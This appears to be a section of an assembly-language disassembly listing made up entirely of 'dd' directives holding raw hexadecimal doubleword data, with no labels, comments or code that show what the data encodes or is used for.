		dd 411AFC01h, 0DDB84C0Ah, 0B4ED09C3h, 54397CB6h, 60A98817h
		dd 277EB1ADh, 57012B52h, 1ACFCC7h, 7C21E19Eh, 0E8958CE4h
		dd 938A30A6h, 6A8BC041h, 0EEE3AE00h, 9F1F2048h,	414E005Bh
		dd 5002F9EAh, 6305B4EFh, 0FB64F526h, 445BC421h,	5A001832h
		dd 0A392E7Ah, 3C071EB8h, 0D0678DC0h, 0AA853770h, 423E2D5h
		dd 55DF70F5h, 17AC808Ch, 2C48A52Bh, 35580000h, 9F052620h
		dd 0ADB0A063h, 59FC06DBh, 2073FD32h, 18500CA1h,	0FCE008F7h
		dd 9BC4E809h, 0E0EF4E40h, 97289A4Ah, 5420D831h,	78C53E9Ch
		dd 4E75A6h, 5E66C66h, 0DCDC2C4Fh, 25204540h, 67BA4ADh
		dd 0E31D63BFh, 2E3F389Bh, 95BCD4D9h, 90166000h,	42C2D406h
		dd 438B00F0h, 52D8BA53h, 320074DEh, 2A125796h, 6C67114h
		dd 0FA65EF5Bh, 2F444821h, 0B3460E4Ch, 3F80188Eh, 2D84FF5Ch
		dd 69C18F02h, 49311930h, 4F608290h, 4F6D2693h, 8EE308E8h
		dd 0F19F8B0Ch, 6BB500B9h, 0C61BDE41h, 0B60001E0h, 0E4922684h
		dd 0F0700F4Bh, 0C2FA00A7h, 69F59622h, 212512Dh,	1C40A2A8h
		dd 74185371h, 8E34007Eh, 6F9B9585h, 0AF002A4Ch,	64F3594Ah
		dd 24FD5A02h, 0E4A038h,	2D2213FEh, 7912DF39h, 0E052C386h
		dd 0C0515408h, 3EF4CFFBh, 0A522EE46h, 0CF036100h, 140BA18Ch
		dd 0BE100499h, 0C162BB5Fh, 3A5AFFCh, 3881F8C5h,	0B9B72C3Bh
		dd 0DC93414Ch, 0D4985A0h, 50C001E9h, 9DA6F76h, 50CDB269h
		dd 18532011h, 0FDE008F6h, 65C4F009h, 0E0EE4F40h, 0B1E8C844h
		dd 0ED015FFCh, 8CC3096Bh, 54253BF2h, 3EFDF440h,	831D28B7h
		dd 0D86F0A80h, 0ADC35F1h, 4BD08A41h, 85691400h,	0B071E8Eh
		dd 0F78B45C9h, 22F1660h, 242ACFDCh, 9031974Ch, 51D358h
		dd 35FCA133h, 1268A0h, 5C5E3601h, 5FA64EE0h, 0B23C8707h
		dd 730F311Dh, 72DC1040h, 2C9DD56h, 208918A4h, 34C43EC5h
		dd 1C701C20h, 41EF4601h, 8A10AB0Fh, 52798090h, 0C3247B40h
		dd 531500C7h, 6106CC94h, 0DE1CD8BDh, 0BCD5932Ah, 4561EB8h
		dd 0FA698C00h, 1210ED59h, 17ADAB2h, 0CD0B0958h,	0B7788941h
		dd 81704AB0h, 40AAD064h, 81EF01h, 0BBC6FAh, 2D4BD255h
		dd 455E0256h, 8A69BD60h, 314A2815h, 0DE70FBA5h,	6CA0242Ch
		dd 0C241EA01h, 0CC0DD0F0h, 0F737E8h, 1350016Fh,	8EA4F8A7h
		dd 0EAD41750h, 2301C89Bh, 4AB671Eh, 0F9883B18h,	0ED1E015Bh
		dd 33B7FB75h, 334211Dh,	9D0717Ch, 7891C251h, 0FD805F91h
		dd 0FE3EF6CFh, 63AC448Ch, 0BACF0500h, 6D16787Ch, 6D8075Eh
		dd 0A0B36B93h, 421C9DB9h, 0DF38F11Fh, 0AC40BDD2h, 0ED50045Eh
		dd 0D045642Fh, 96C8051h, 0F0A8752Bh, 3100425Eh,	50E16822h
		dd 9261D2FFh, 12A21F88h, 1555C5CCh, 825C945Fh, 0AB20C174h
		dd 88B5F4C5h, 0C2C3153h, 5147385Ah, 0AC207185h,	0A10457EAh
		dd 82C292E4h, 0C9FC6CC8h, 0D433C510h, 0B83064A2h, 87CA0054h
		dd 6375D431h, 6D00157Ah, 52B0E9B7h, 0C0918BD6h,	0ECBC0731h
		dd 3073F9Ah, 0F98A1FEh,	0A85905D0h, 80B747Eh, 60B7B49Dh
		dd 3D0F2CA6h, 0E8487083h, 2B93B10h, 21AF38FCh, 58B080BEh
		dd 0A1335044h, 85F1A1D0h, 17140028h, 5A23F074h,	0F3CF0438h
		dd 0AB62263Eh, 0CF087C20h, 73E400B6h, 823097D0h, 0DCFAE633h
		dd 6FF3C017h, 8C77103Ah, 20849901h, 0CFCE9A96h,	0A84CE077h
		dd 2329D10h, 1DC42A5Eh,	71F4C6F8h, 15230081h, 0A09CBEF0h
		dd 4D04803Dh, 0BB165A6Ah, 80C0B884h, 1A2CC46h, 4C171876h
		dd 3426FA68h, 4B00F328h, 24202C0Ch, 0C49B7F2Dh,	890A3178h
		dd 0E7E03014h, 0C139940h, 33250883h, 3960D990h,	0FC249CC9h
		dd 4F9B01E8h, 0A4B73526h, 69B44096h, 54586120h,	42F9778h
		dd 0BB008C77h, 0D8C25931h, 0A435A51Fh, 57D0C0B0h, 2E69E456h
		dd 465EA494h, 839403AEh, 0F2F46625h, 40C48Bh, 5964569Dh
		dd 4FA730BFh, 0F4DC2303h, 0F0C33F65h, 1284D0A1h, 0C07767F2h
		dd 300AE56Ch, 963AA280h, 83189CCh, 0C3AF484Bh, 610081DAh
		dd 0A3384F17h, 123B7E83h, 40A791E7h, 0ADCD1F4Ch, 2F2C7C0h
		dd 6F606894h, 46242775h, 0B02262h, 2375579Dh, 7E86AD87h
		dd 0C8A21600h, 74215194h, 5F6401D9h, 0B1130F27h, 78602C45h
		dd 5DE890Eh, 32C89867h,	57B43C3Ch, 0E1C1782h, 87098C31h
		dd 24D843D8h, 0B6090830h, 0F6DFA100h, 30C5B56Fh, 5D20BE88h
		dd 50144932h, 0E1200FEEh, 3518AA9Ah, 0A4571D10h, 4725240Ch
		dd 56B0AD91h, 2618AA62h, 0FA68C6E6h, 0B0DEh, 0A28D1F82h
		dd 26F9BC14h, 9F23773Bh, 670616DDh, 0B0319E8Bh,	0F92A0064h
		dd 34E92964h, 1301CA01h, 0AF94091Dh, 21F47707h,	0CCB32879h
		dd 894A1A8h, 634030B0h,	0A9638B15h, 108F5288h, 4812398h
		dd 0D3157F6h, 2035988Ch, 0FB006C7Bh, 90BE1101h,	44DE923Fh
		dd 0E3003744h, 1E4877AFh, 0C929ACh, 0D2A2A9CEh,	2898D1A3h
		dd 0B3DC9200h, 4426F59Eh, 0B678ACh, 42408FDBh, 24C1ADBBh
		dd 74F0A74Ch, 14DE8240h, 809336D7h, 80683235h, 20E99728h
		dd 0CC818C2Ch, 8B815718h, 3F8CA889h, 109E087h, 0CEC5F74h
		dd 80804713h, 1605E641h
		dd 38D9C2h, 0CF9676BEh,	0A8EF12DDh, 80A96000h, 0C913090Dh
		dd 7089A37h, 0C7528310h, 0EFDB20D6h, 0F5246EF9h, 0ED0030B7h
		dd 0BD1C6F46h, 0E9731F5Ch, 0E280BF9Fh, 0EA84648Fh, 820E32A9h
		dd 875F9D89h, 97B7AEECh, 73479A80h, 78870EE7h, 0B780EEDDh
		dd 42B0E1A2h, 0E0C76C00h, 0B4F06553h, 0EE990041h, 1B7758B6h
		dd 820169B3h, 786486E7h, 0B8E253E2h, 0F08DCD38h, 95D2F1DFh
		dd 0E8D42018h, 60F678E1h, 4F97B042h, 0E5001C6Eh, 8DF9656Ah
		dd 0FACE8446h, 0EE7FCB7h, 0FA984282h, 11900BBEh, 0C38E3C80h
		dd 0D1C37B53h, 0C0FD9266h, 55CD7552h, 0B6DD9889h, 0EC0C045Eh
		dd 0E10503Bh, 292D300h,	0E2234A6Bh, 0D93400B8h,	38C8F94Fh
		dd 31006DDEh, 5CE198BEh, 0C0967B1h, 6A472855h, 0BD0A6E18h
		dd 8530852h, 0B7009516h, 0C3EA0AD8h, 0E2800AEEh, 2C21B6h
		dd 425B2088h, 0B1534A6Dh, 88B5340Ch, 468B0C71h,	0CDFD3081h
		dd 86DA590Ah, 5838CF58h, 2980679h, 40F154D0h, 956D6619h
		dd 4098E7E8h, 51645991h, 3D7828D0h, 588CA866h, 0DFDB6C21h
		dd 0EFB0C414h, 0E27733C8h, 401DC223h, 0A8D852E3h, 8480F13Ah
		dd 5384E4A1h, 0E104C483h, 28803E13h, 0D4C5243Dh, 0C1823A2h
		dd 0B61910FBh, 410D2456h, 0D59FE4h, 0BE37BBC9h,	44E44CE3h
		dd 0D6286474h, 68090CF0h, 20CAD7B8h, 32BA45FCh,	4FC200A1h
		dd 0CE6B090Ch, 22281D8Ch, 893C0C1Ah, 144C2649h,	5828CA9Fh
		dd 7CFDDD05h, 643A490Dh, 4C02F522h, 0BCE244B3h,	0BC8C8830h
		dd 84F1A608h, 88870ACAh, 82F35F68h, 3A683680h, 0B41C4872h
		dd 0F8D953A3h, 5165E202h, 5C6053EFh, 418A378Fh,	67105748h
		dd 9861B03Ah, 0BCF5F3C1h, 8ACB8C4Ch, 0D02DE435h, 38D41B31h
		dd 98116954h, 2039DBA5h, 91361E18h, 6802BCABh, 0C1B6D289h
		dd 0EF80A1A8h, 884C2357h, 0A3B509F9h, 640E886Eh, 11BC6DE8h
		dd 0B105A6C0h, 4270EAC1h, 53CCFBE0h, 4E440C46h,	5580AE39h
		dd 0C18985Eh, 8C9F5040h, 84E22CB3h, 8C0A5504h, 986688CFh
		dd 656428E0h, 0F0B222F4h, 0A25A6815h, 28390494h, 6090A971h
		dd 91920C52h, 42859128h, 98B48A80h, 0DA0A0CA3h,	0F6028C7Ch
		dd 67CE5F16h, 0DB31D80Ch, 1A3D828Fh, 0A846A666h, 0B9EE5945h
		dd 0C8493B80h, 50A10C0Ch, 93858CB6h, 9747549Ch,	54860AA8h
		dd 93D88C65h, 2CBDC4A0h, 0A6130984h, 1425B8E4h,	88D83540h
		dd 9964E774h, 509E6D61h, 0F1F12011h, 22F0494Bh,	0E51CA58h
		dd 0AC106BA8h, 79C5C52Bh, 0D823D1F9h, 58215696h, 934CCECAh
		dd 0C82C3F23h, 16C4D7CAh, 18ECD06Fh, 0C7106FA2h, 0DBBE09ABh
		dd 483E86Dh, 44E44876h,	0D41C4797h, 4B86CCE2h, 18CF9CD0h
		dd 5369E76Ch, 3E70D586h, 0DE4459DCh, 4F50DDECh,	0F889BA9Ch
		dd 11883C4Ch, 0E4C44853h, 0C13CE851h, 0BD4EA3DCh, 467C7E1Eh
		dd 0FB88BE85h, 9EF0128Ah, 6E48C45Ch, 4D509049h,	0E30E867Dh
		dd 6FE146A9h, 1CC03FBAh, 0E67897B3h, 775C00B0h,	0DD48681Bh
		dd 0A30055EDh, 58AEF699h, 831C45h, 87A9824Dh, 721D865Fh
		dd 0ED6D321Dh, 8C6F978Eh, 0C3EE28AFh, 87E77710h, 0B4EA83E0h
		dd 0A8704100h, 0ED823280h, 0DE5C0F73h, 7881BCA9h, 0E958AA1Ch
		dd 260BCA8h, 6A5C8DEFh,	88104AA2h, 0D6D704E4h, 73669E09h
		dd 74B400E9h, 274F81A2h, 449C8871h, 93539820h, 0C2791C54h
		dd 3C3910Ah, 9651002h, 7E752082h, 67633C68h, 4B05159h
		dd 0A9F832D8h, 0C2EDF4C3h, 830C014h, 0CB624095h, 0F64D931Fh
		dd 2CD4B84Eh, 0E8AA9067h, 77620004h, 0CE5694CCh, 110B2DF3h
		dd 0A52A38h, 3FE1A320h,	55D72E41h, 96C90590h, 1ECC9136h
		dd 39708F9Ah, 405A0AEFh, 6FB7B403h, 73E97E08h, 0B8655C5Dh
		dd 80785E2Eh, 63977EF6h, 7CA4FD4Ah, 0FA086973h,	0F0AE3A29h
		dd 0DA4D1A20h, 0C80204B4h, 5CA0F74Eh, 0ABF00C65h, 6F689FE7h
		dd 38309463h, 0BAF83025h, 0FEB22381h, 28442E4Ah, 0B106FBE9h
		dd 0E1E5014h, 253A6C72h, 765C2564h, 11EA8C28h, 0E349DF85h
		dd 0E2800593h, 97A791Dh, 0B0906188h, 2502229Ah,	0EDBFC883h
		dd 16042097h, 7FB05BE4h, 0FF99DB0Fh, 89628C23h,	8848A163h
		dd 721F4892h, 6445A728h, 980B779h, 0A1C5A859h, 54015D68h
		dd 5C5145E3h, 0E7F80A85h, 1B6E075Fh, 70734672h,	0E2864DAAh
		dd 78B35DECh, 5002BD16h, 0C34180E7h, 9197E054h,	7CE674F8h
		dd 58B7016Ah, 0C44C8237h, 88444C43h, 0F402B07Fh, 3FB91B3Dh
		dd 204983Eh, 0ACBC7CFBh, 93088010h, 5FB63EEEh, 30A66544h
		dd 78CA8B2Ch, 865620CCh, 497CC8B0h, 0A4A05353h,	2527E449h
		dd 1032D7CCh, 230899E9h, 0FB256412h, 0CE2B306Ch, 10949F59h
		dd 0C124A5A2h, 9111154Fh, 0B90A9F08h, 278C7053h, 9B5710D0h
		dd 0A2157C9Ch, 87C4A028h, 8C8AA990h, 8B025068h,	8863E2CCh
		dd 9C2E18D4h, 85D343Ch,	2257E033h, 51445009h, 124B894Ah
		dd 48552454h, 224F914Eh, 0A2494448h, 0AC12A389h, 0A64FAD24h
		dd 0E3F14F80h, 0FD0A986Dh, 0F4916FE1h, 52B88C46h, 51CA8462h
		dd 7E655D04h, 0BC3F084Ah, 80305600h, 0F650352h,	4EB7E296h
		dd 81BF2387h, 0F0996A34h, 4101538Bh, 325F1E30h,	3AD11666h
		dd 22E10ED1h, 4B403EE3h, 99279600h, 0BC838950h,	6A316500h
		dd 5CE468B9h, 0AF7525BEh, 0A1FF4835h, 64D5FF04h, 0C014B88Dh
		dd 66EDF87Fh, 9BFB0881h, 361D6563h, 1F563829h, 0D18DEAE1h
		dd 1B340395h, 78336DB9h, 38288A09h, 75D55F04h, 5E61E280h
		dd 3E8E5D3Ch, 0AD0CBE8Dh, 0CE21B7D0h, 0B8382352h, 0E21300DCh
		dd 22164933h, 531885E7h, 0EA18514Bh, 0B80C003Ah, 0A61A64CBh
		dd 1CA06223h, 0AF01B904h, 791180CEh, 28488D45h,	0E44EBD58h
		dd 6397E80Ch, 30EF41A3h, 0D73053BDh, 0E4004E59h, 14A9F674h
		dd 78E746h, 0C882F50Dh,	98628EA1h, 0DCEB451Ch, 0E4386140h
		dd 7DF33F1h, 56E65FEFh,	8965115Dh, 0CCD8F0B0h, 1EF66E1Eh
		dd 4D8B3900h, 18766C09h, 0F9546188h, 0A8002D94h, 73DD1A8Ah
		dd 4A11B0h, 0F9DCFFF6h,	0B9A4EE32h, 90CB3Ch, 0C8BFC1C9h
		dd 1D1571CAh, 733711h, 6109B83Dh, 0CD00D4E4h, 1C5B5CD5h
		dd 587446h, 0F55F57E6h,	0C65D61E3h, 0DF14C60h, 3B067EEAh
		dd 0BD03708Bh, 0F1B1C190h, 0CEDCE590h, 2835B430h, 0C3F20A57h
		dd 0AD2B88A8h, 8C00D87Ch, 381B630Bh, 3BA6BAh, 0C26F8670h
		dd 832B9EEAh, 0FB2E5805h, 0EC5EC534h, 0C80C17C0h, 0F95688Bh
		dd 0F37BC645h, 0C4F27E60h, 0E800518Eh, 9BFB7263h, 3EFF429Dh
		dd 2016D3A3h, 0C11DAAA9h, 7746081h, 0E3E0A686h,	42621398h
		dd 476EBC06h, 189C3C14h, 0A5300441h, 9EA73EF8h,	609AE308h
		dd 409D8C00h, 669B0Bh, 0C5D8FD69h, 93A2FC81h, 0E8535901h
		dd 0D90F4661h, 8E0C1880h, 0A4F85866h, 0F059921Dh, 0E8508030h
		dd 3F0CE86Eh, 0C74998Fh, 0F7291A9h, 0E3307A78h,	908A319Fh
		dd 726180A4h, 0C960529h, 84C5878Ah, 0FD4D6280h,	14A59A9Bh
		dd 8891A706h, 409C8A03h, 293D860Ah, 0D82B8387h,	0C089EEDEh
		dd 0C0EC4188h, 0C2C9C518h, 58E6FCCCh, 0BDB07A54h, 45BB4B00h
		dd 0F849C11Bh, 0D1D80059h, 82D0FA83h, 53003A55h, 684E7038h
		dd 3807D8Fh, 0D4B56378h, 0B7E089E1h, 0E41DB109h, 37034401h
		dd 1B44088h, 0DBC04971h, 0C0C2E127h, 7000F009h,	408EC907h
		dd 0DD95F6FBh, 3015CE28h, 6D62C681h, 7E988D7Ch,	1812A175h
		dd 0B14521CEh, 4268B931h, 317D791Bh, 70F71CD8h,	1091818h
		dd 0A9426359h, 0C2FD7EA4h
		dd 0CF22288Fh, 0E7204015h, 0F0388B60h, 0DBC5D6D1h, 301091B8h
		dd 1D18970Eh, 0A4C779EFh, 507E31C3h, 62800C3h, 2038895Bh
		dd 2276C6C1h, 565C78C0h, 5078A969h, 8CF5D080h, 183FED43h
		dd 43BC0346h, 19E06F33h, 0B9137930h, 80C1217Ch,	0F5DA1569h
		dd 0A958E9A1h, 0F18264A4h, 0E7DBFE98h, 0F051DC8Dh, 0B2731B02h
		dd 350F31C3h, 0C2182A8Fh, 54DC284Ch, 0DD848058h, 0C000E982h
		dd 6F48674Bh, 81396F18h, 0E94CEAD5h, 0F1D3186h,	95541856h
		dd 5351FC4Ch, 0FDE81358h, 620E9104h, 28868232h,	0A19CF839h
		dd 0D608A8A4h, 93B28842h, 0B8B2744Dh, 0D1421CDFh, 0B242A33Eh
		dd 0E51A18FAh, 0D750C88Ch, 55C8AB47h, 0F38ABC90h, 66217C50h
		dd 228644DDh, 8289FBBh,	0B051863Ah, 4E8D0308h, 0D1DE7835h
		dd 500B23A8h, 1485DB6Eh, 53102895h, 42AAFC50h, 458A8885h
		dd 8503E9Bh, 64E07822h,	4050887Eh, 41086C99h, 220E93E7h
		dd 34688A60h, 4C48A79Ch, 936D8160h, 61B5E922h, 40840440h
		dd 9374CE3h, 6EDF018Eh,	0FB4378CCh, 4C3198CBh, 1948C509h
		dd 0B1D6061Bh, 27FA10FCh, 34FE1343h, 0FDA80CF1h, 0AF53FB10h
		dd 76584338h, 79926781h, 11DC52CEh, 0EDC63CA0h,	9B44409Eh
		dd 28C148Dh, 0C784A05Bh, 6864CC5Fh, 41304899h, 62C9D464h
		dd 5841189h, 0C835461h,	45416Bh, 22996D38h, 0E0D731FDh
		dd 12034E84h, 4FA7B549h, 24A298D9h, 0A1C53842h,	4679D00h
		dd 4764451Ch, 609FF101h, 8286105Bh, 0E8C0F344h,	9D2F42h
		dd 9BF85F93h, 2C504E60h, 60E6EF8h, 8043B28Ah, 0FD749C8Ch
		dd 0E954B049h, 196F87F0h, 409F910Ch, 0FCF86081h, 40BCA505h
		dd 4027A7E2h, 469F9880h, 3E84F0FFh, 992E1D8Ah, 30533C2Ch
		dd 0E3469860h, 1CA6608Bh, 0A6FBD08h, 3C50009Ah,	980C4766h
		dd 60A641E8h, 0B082B09Ah, 0E0000437h, 0A6E6098h, 0E4D20E8Bh
		dd 11378C4Bh, 0A8811864h, 70F14293h, 32027D9Ch,	9A5A7CBh
		dd 412CB88Bh, 0C49D5006h, 0D3CB3E0Fh, 0A7323502h, 3898E34Ah
		dd 0A9013351h, 993F3580h, 0A7DFF640h, 40E814BAh, 344AC5E1h
		dd 0E49A9F8h, 6E63A704h, 5B664A9Fh, 0A46701F8h,	44D1CC08h
		dd 0AF042A4Ch, 0B2A12C00h, 0B3450252h, 2A7C03ECh, 320C8300h
		dd 8A0F7692h, 347A4C60h, 642A909h, 8B8F00AEh, 0A0862818h
		dd 4834A53Ch, 0A70B0098h, 334D9F9Eh, 0F85B3D61h, 0E1840CCh
		dd 0DE502832h, 0F519213h, 6C002035h, 46939A35h,	12EC90F2h
		dd 30A734A4h, 0E547E474h, 188991D2h, 84FF040Ah,	308055D2h
		dd 0B0C4067h, 0FF5EB0E6h, 0D8309024h, 0C4887B4h, 0FDB50158h
		dd 0FC5F9C98h, 26AEA7D0h, 7D0A321h, 81D99D0Fh, 899AA90Ah
		dd 80908C40h, 4D91E6C0h, 0A58A07F1h, 478DE377h,	8C0E8946h
		dd 619A6AE0h, 0A439F97Ah, 1670589Ch, 84015964h,	9730A5AEh
		dd 7104A020h, 37A47891h, 34609D8Bh, 58AC869Ch, 86F97239h
		dd 8E0DB560h, 92331F40h, 9A300D66h, 0E0A0D1C8h,	9F630A46h
		dd 0E7E6E330h, 0F9A1184Fh, 75EF88Bh, 5B6EA701h,	98B47EF0h
		dd 0ADFA0490h, 660FF84Ah, 0EE1CFDA5h, 9FE4C1D4h, 36DC217Dh
		dd 0E7450060h, 9D076FB8h, 490DE2A5h, 71D2B898h,	247EF318h
		dd 1C98A2F0h, 91748C98h, 796E03Eh, 8CA93047h, 66A4F6C0h
		dd 7CFB5859h, 98013C78h, 0A906680Eh, 236087AAh,	0D2505F04h
		dd 9BE22C05h, 673D85C4h, 60B48268h, 0A526E4CEh,	63C50C75h
		dd 958E9880h, 74DCB069h, 0E8D89060h, 2C8DF074h,	49C44292h
		dd 6FA51C03h, 0E3770975h, 0A3E46048h, 92502CA4h, 9BFB82C0h
		dd 20E18AFEh, 3090CD2Eh, 69C79D10h, 0FC83668Bh,	0FDA4A1A2h
		dd 0F9E3D064h, 3C482C4Bh, 0B64C987Ch, 34CC3DC0h, 5B580E30h
		dd 66389C33h, 668D3E7Ah, 2980E4B0h, 2E189E27h, 6BB013DCh
		dd 447FE38h, 4AA9E1ABh,	5B8633C4h, 5C845E58h, 5069488Dh
		dd 857C7872h, 0B56E718h, 1C59C800h, 472D608Ch, 41501F0Ch
		dd 0F82F43B2h, 0FF585990h, 20470BD8h, 0F8648099h, 556860A2h
		dd 0F86C40FDh, 3501DCAh, 1E3A84E6h, 15B80A0h, 520A75Ch
		dd 419C8E08h, 7D6038C1h, 743A443Ch, 47669109h, 9B5A3CE4h
		dd 1895D421h, 0A291ECh,	5B9C8C0Ah, 4298A4E2h, 0BF5C8AF0h
		dd 64177F8Ch, 9007046Bh, 8FEE204Fh, 505890A3h, 46B0903Eh
		dd 8A084321h, 0E46E9325h, 4B80B210h, 53C860FDh,	68C79548h
		dd 0F0C1822Bh, 804264A4h, 64349798h, 8AECB03Ch,	34E850BEh
		dd 4099055Fh, 590F70Fh,	0FC47642Eh, 16B5F000h, 0AEBC36h
		dd 40939802h, 4D9EE606h, 0E221F962h, 0F0FCE07Eh, 4691019Bh
		dd 72A5A4E3h, 1990ADF8h, 5AC486E0h, 38A453FCh, 0A71DB43Dh
		dd 17B38A8h, 180FF5A1h,	0C914ECBBh, 0E020F0C5h,	1CE6B60Eh
		dd 1AEF80D9h, 76E972EAh, 0EF9E815h, 0FBB4EB0Fh,	0E8973880h
		dd 0B71D061Ch, 0B5062009h, 0F281EEFh, 730AED18h, 0C4800FEFh
		dd 0CB04DDE6h, 20C719FCh, 0A18105FCh, 0CAF01EF7h, 181B07F5h
		dd 4020ECB6h, 214E6C6h,	0F2BD08C0h, 3EFE1082h, 0F00C517h
		dd 0DD9EA0EDh, 1BFCB1F8h, 0B40FB6F0h, 5FBCEB23h, 0F5B7A306h
		dd 0E9E888h, 0B4B8061Ah, 0E8BCECFEh, 0BE40CFh, 0F9C3EBFFh
		dd 7D091E16h, 0C5E7C0B5h, 7EEF0EF7h, 0D8B8CF00h, 0D311F2C3h
		dd 0DDE801C7h, 1AFABCEAh, 20E6F0F8h, 0DBE9E0F9h, 0DDF328C3h
		dd 51874D5h, 0EEFCADFh,	0D4584018h, 0D55233BDh,	832C130h
		dd 0C0C2A8CEh, 0B57EDB20h, 0C900F011h, 0A2D2DDE9h, 3EEB19E4h
		dd 0A867F7C7h, 20D8C5F2h, 0BCDF0F78h, 0EA2810E8h, 183EC8C6h
		dd 1FF33CB1h, 0D318E8A0h, 51D2F8E8h, 0C5F1F0C7h, 42F4454h
		dd 0B401D2EBh, 0B20511FAh, 1CFCDC30h, 9C1BEF9Bh, 0D5804052h
		dd 0CE3B8CDFh, 0A1D1F80Fh, 74220034h, 0DE463Dh,	25947336h
		dd 0DC1D89FBh, 0ECB8E400h, 6B6FAD66h, 4B1003D5h, 4AD022E7h
		dd 0DFBD3003h, 0C8EE0559h, 61C81D11h, 0CE34884Fh, 6000DFB8h
		dd 6A8C42DDh, 18ADE44h,	3EFC8F28h, 83D07496h, 0B2E95220h
		dd 9C1CCAA3h, 55692320h, 0ED489001h, 9880CDEEh,	0E54A7C52h
		dd 8A0BB12h, 8C1BD1D5h,	0AAB027CAh, 69412EE8h, 0D01E4F5Ah
		dd 3307C179h, 0A8EDC9B6h, 904497F2h, 3CCC6A4h, 6B559449h
		dd 9B816D66h, 0C71C4C59h, 0A8D7F980h, 2F54C0h, 0C17B4BF8h
		dd 0E502175Ch, 0C6D4CA0Ch, 606D98BDh, 0CE7561BBh, 90001F5Ch
		dd 0C8AE9D69h, 6542D4D0h, 1E0628ABh, 0EEBBBCC4h, 1CF067AAh
		dd 7E0272h, 4FE103EAh, 8CC1BD1h, 0A72159h, 51327E09h, 37928730h
		dd 0DC4C84A0h, 0D6A1CF61h, 0E183393Bh, 0B36F92A5h, 0BC09100h
		dd 0B116FC9Eh, 0B07184h, 4CDDBBFAh, 9CA3E3C8h, 57590491h
		dd 0D571800Dh, 7E25B638h, 153479A2h, 1CFBE58Ah,	9B0D4188h
		dd 0F801C951h, 171854B3h, 6C953814h, 0F6DD002Ch, 0E7340427h
		dd 3CD90E86h, 0A78D870Fh, 27FFC021h, 1C61A90Eh,	0C08C62CCh
		dd 91A897BFh, 994B8358h, 2BD2A8B0h, 0CC355494h,	6048CF2h
		dd 0E3E9FC7Eh, 0AB805867h, 0E71D7E0Dh, 14FF0525h, 0BE390Bh
		dd 5A032694h, 88900A84h, 28CA2022h, 74B8B4ECh, 0E91188AAh
		dd 0C0A8224h, 3861FA12h, 18194A30h, 4581E31Ch, 0B1116C26h
		dd 3F0C9FA2h, 1E4C2138h, 0C02286FBh, 0C6357EF3h, 98C3BB44h
		dd 6FBC5963h, 56068849h, 943011BAh, 77B4414Ah, 9B7C0241h
		dd 0A15E059Eh, 0DC22AC41h, 74AD165Ah, 304BF6E2h, 0C3F4DCCAh
		dd 0A1974F80h, 0C692DAA8h, 4D01E7Dh, 0C8BD76DCh, 0E9484C08h
		dd 3C078184h
		dd 0FAF00182h, 0EC934848h, 0B5574478h, 0A250CF4Ch, 0D85106A4h
		dd 48DD0137h, 0E40B5AB1h, 74416421h, 221E7021h,	820875Bh
		dd 61C07B12h, 802EBB5Ch, 0B0A84B94h, 761E5DDBh,	810C115Fh
		dd 2BF8BCh, 87F34C3Dh, 0B17CCE82h, 4F97B8C1h, 2CF923Fh
		dd 4C2EBD8h, 8441BAC4h,	8FF18EFh, 0BEA017Eh, 904955C4h
		dd 0C9737000h, 0B6305765h, 0E4C65050h, 0B0C55083h, 4B94970h
		dd 0B8804338h, 212C6139h, 0F90EDCD1h, 60B951B2h, 6B6C6638h
		dd 0CE59C05Ch, 5A8C726h, 0E224B400h, 492CC4C3h,	0BAF50CF4h
		dd 63296BCFh, 813C4F48h, 0F6E4CAEAh, 0FA50FC34h, 0CC89A42h
		dd 0D9B2E575h, 36000E18h, 0EFDACA28h, 0B0F1C24Fh, 9249788Ch
		dd 0E6B50F00h, 0E8C18F78h, 0C158662Fh, 81CCD114h, 78EE1A21h
		dd 2C208EC8h, 7C54FB1Eh, 13D8A882h, 5ADD6090h, 0D4206828h
		dd 0C89EB412h, 85339840h, 68A4B63Bh, 8F810D6h, 682447FFh
		dd 636D8108h, 348027FAh, 44868707h, 0A200FCA8h,	0B0321026h
		dd 0EE612780h, 84AF9083h, 3D1A007Ch, 0D5ECC429h, 2352C303h
		dd 30B3E234h, 8D7CDB91h, 37575418h, 609E8AB0h, 0FA9BC9CCh
		dd 6312893Ch, 460E4FFh,	226E58h, 5CBAA6CAh, 0E6474F02h
		dd 4A9C40EBh, 9FE996CDh, 260C9B28h, 1207187Eh, 63F0D4C9h
		dd 0F6F00448h, 0CC99F3E9h, 600BA5C2h, 0DAD4B8h,	44E87127h
		dd 0D617B322h, 0D000A9EEh, 7BA39391h, 0EEBEAE0h, 7A67C149h
		dd 8084D18Ah, 1B696225h, 6A00C3AAh, 0EB648278h,	0CEFF540h
		dd 0A9FED532h, 3D0AFFA8h, 80F6E06Dh, 8B52E9C0h,	1ADC9238h
		dd 18A20DCEh, 19EC0C61h, 23FA7EC0h, 5A1113E9h, 7E07910Eh
		dd 398497C0h, 886EE026h, 3AE545C8h, 3CFEA003h, 0E06AAA79h
		dd 84C214D8h, 481EE820h, 0A4C0F883h, 2E51801Fh,	0E415020Fh
		dd 0B246E164h, 0C6E48210h, 1D64934Eh, 6789B06Ah, 931D7180h
		dd 2E4073A0h, 0DD4144BEh, 26030F6Bh, 0E70AE3BFh, 23F5C0F4h
		dd 55072ED1h, 65B2106Ch, 0B52F140h, 424B195h, 80998C13h
		dd 0C1B8B5D8h, 8A5B233h, 0F52105E5h, 0C0109994h, 2236FDC9h
		dd 7F209090h, 0C0E3FC3Eh, 2C1C1929h, 0FD38F7A3h, 37D101EEh
		dd 0D96D0433h, 4B27CC4h, 459EC912h, 0F42C9873h,	18EDC8A1h
		dd 23FBFCFDh, 56111BE9h, 3C9224h, 28D7B291h, 24B1680Eh
		dd 0E35208h, 1C823DF8h,	9E019FEDh, 96354F62h, 0F824D508h
		dd 3228302Ch, 189D23C0h, 0BE361A06h, 9320AEB8h,	0CCBA0614h
		dd 0C4047964h, 7C8C8E57h, 416A90C1h, 0CEFD6510h, 1531E21Ch
		dd 7BD0803Eh, 0F57A7230h, 0E00D07DCh, 3CB2474Eh, 0ED1048A8h
		dd 8442B0DAh, 54B84CD4h, 90733F8Ch, 0F34D1C0Eh,	349EDBA1h
		dd 0B1C893A7h, 42520000h, 74891487h, 9A3D02F5h,	50F4E0C6h
		dd 404184B2h, 0FC011880h, 433472FFh, 0FAB22285h, 8E2600A5h
		dd 1EEBE066h, 0BE24DF2Eh, 0C552B404h, 604EC4E4h, 812A8Eh
		dd 6602C4ABh, 0F6F799FFh, 54BE3409h, 9BD890BAh,	3C9235h
		dd 0E406513Ch, 4750299Ah, 0A856A628h, 5C245706h, 5E027DFh
